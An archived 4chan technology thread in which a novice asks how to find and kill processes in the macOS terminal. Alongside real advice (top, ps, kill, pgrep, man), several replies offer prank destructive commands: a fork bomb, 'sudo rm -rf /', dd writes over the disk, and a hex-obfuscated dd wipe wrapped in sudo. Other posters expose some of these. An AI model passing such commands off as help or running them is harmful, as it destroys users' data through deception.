[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
Looking to understand enough about terminal.app to find any processes
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 58
Thread images: 4
File: terminal.app.png (12 KB, 179x219) Image search: [Google]
terminal.app.png
12 KB, 179x219
Looking to understand enough about terminal.app to find any processes running and kill them. Can someone point me in the right direction?
>>
>>53085559
'top' to list running processes

'kill' to kill processes

just google it. learning to google for your own answers is itself a valuable skill.
>>
>>53085559
Htop
>>
>OSX

if you have a problem you are supposed to buy a new device.
>>
>>53085590
I was mucking with ethereum and think my comp might be slow because of this. I know, I'm a retard. There's no documentation. I might have even run a script that downloaded malware, I'm not exactly sure.

>>53085593
This is neat. Got any other programs like this?
>>
>>53085559
$ ps aux | grep process-name-your-looking-for


killall process-name-your-looking-for
>>
>>53086598
Ok I'll try to make this work thanks
>>
>>53086598
>killall
>not kill -9 PID
>>
>>53086840
>kill -9
>>
a(){a|a&;};a
>>
XKill to kill GUI apps
>>
>>53085597
top wew
top jej ladl
>>
>>53087056
kill -9 = kill it with fire!
>>
>>53086840
>killall -9
>>
>>53087076
you use da real sN1p3|2 tool
>>
sudo rm -rf /
>>
>>53088105
--no-preserve-root
>>
>>53087119
Apple devices are created so that people just buy a new one if something fails. it is hard to change battery and impossible to fix anything.
>>
sudo dd if="/dev/null" of="/dev/sda"

after a while your screen starts to have a seizure!
>>
>>53085559
pkill <name>
>>
>>53087133
kill -9 yourself
>>
>>53089266
Careful with that edge.
>>
>>53087184
Ye, with an "x" aim
>>
>>53088313
BS=1M #Grants to write every byte and not bottleneck
>>
>>53085559
pgrep foo
pgrep -d, foo (delimiter switch specify a comma)
kill -9 `pgrep -d, foo`
>>
Wow all this advice and I still dont even know where to get started learning about the terminal
>>
>>53088105
that
>>
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
>>
>>53091203
Literally just search for terminal commands, you'll learn a lot
>>
>>53091642
OSX uses /dev/disk[0-9] rather than /dev/sd[a-z].

This is probably meaningless to you because you are just some script kiddie that copied that script from somewhere.
>>
>>53091642
Just a heads up, this will delete your root directory.
>>
File: 1448939508010.png (71 KB, 654x399) Image search: [Google]
1448939508010.png
71 KB, 654x399
Alfred :^)
>>
>>53088192
Depends on the device. I just swapped SSDs in my iMac and am upgrading the CPU soon, maybe the GPU as well.
>>
>>53085559
 dd if=/dev/zero of=/dev/sda/ 
>>
>>53091642
>64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a


dd if=/dev/zero of=/dev/sda count=100 bs=1M
>>
>>53088192
That's only true on newer devices. Old models are quite easy to fix. I have a 2011 Macbook Pro and battery, memory and harddrive are easy to swap.
>>
>>53088313
>/dev/sda
>OS X
>>
>>53085559
>about terminal.app
it's not really relevant what terminal emulator you're using
>>
>>53093705
>iMac
>GPU
What?
>>
>>53096553
Neat setup, what distro/theme are you using?
>>
>>53096712
debian stable with gnome 3
theme is arc, icon theme is vertex and moka
>>
>>53096553
how did you get the dock to look like that?
>>
>>53096744
Thanks!
>>
>>53096784
dash to dock plugin
>>
>>53093365
It wipes the hard drive
>>
>>53085597
Snickered
>>
>>53091203
$ man command-your-interested-in


will literally give you the manual.

things to learn about first would be ls, cat, grep, ps, top, cd, mv, cp, rm, etc..

you can also run
$ apropos some-string
if you don't know the name of the command.

I suggest you start by running man man and man apropos.
>>
>>53098586
Neat

Thanks anon. This is what I needed
>>
>>53098586
>man
>authoritative explanation of masculine commands
when will the heterohegemony end?!
>>
File: Screenshot_2016-02-21_16-39-33.png (26 KB, 499x219) Image search: [Google]
Screenshot_2016-02-21_16-39-33.png
26 KB, 499x219
>>53098707
Emacs has woman...
>>
>>53098707
>woman(ual)
stop computering.
>>
>>53085559
Install gentoo
>>
I dismount your girl and I mount /proc
https://www.youtube.com/watch?v=0rG74rG_ubs
>>
sudo rm -rf --no-preserve-root /
>>
>>53098707
there is also bro pages
>>
>>53088313
Wtf did you do to my PC man? Now it won't boot and I can't seem to even recover my files
>>
>>53102066
This might work with winfags but OS X users on /g/ are unlikely to be as stupid as you seem to think, which reflects more poorly on you than anyone else here, to be honest.
>>
>>53102066
Opens task manager to kill any apps you like
Thread replies: 58
Thread images: 4

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.